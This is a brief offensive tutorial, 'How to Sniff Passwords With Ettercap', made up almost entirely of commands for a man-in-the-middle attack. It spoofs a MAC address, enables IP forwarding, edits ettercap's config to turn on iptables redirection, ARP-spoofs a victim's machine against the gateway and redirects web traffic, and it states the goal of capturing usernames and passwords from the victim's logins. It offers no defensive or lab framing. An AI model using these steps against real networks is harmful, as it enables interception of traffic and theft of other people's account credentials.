How to Sniff Passwords With Ettercap

Open a new console and type:
ifconfig wlan0 down
macchanger --mac 11:22:33:44:55:66 wlan0
ifconfig wlan0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
gedit /etc/etter.conf
Go to "# if you use iptables:" and you will see:
#redir command_on = "iptables -t nat -A... 
#redir command_off = "iptables -t nat -D... 
and delete # it will look like this:
redir command_on = "iptables -t nat -A... 
redir command_off = "iptables -t nat -D... 
and save it...
ifconfig
clear
Go to victim's PC and run CMD and type ipconfig you must find IPv4 Address and Default Gateway thats what we need...
Now go back and type in console:
arpspoof -i wlan0 -t 192.168.1.11 192.168.1.1
(In my case is 192.168.1.11 192.168.1.1)
Now open a new console and type:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Now open a new console and type:
ettercap -T -q -i wlan0
Now go to victim's PC and type ex.www.google.gr you will see "There is a problem with this website's security certificate" and if you go to login to any account you will see the Username and the Password in Backtrack...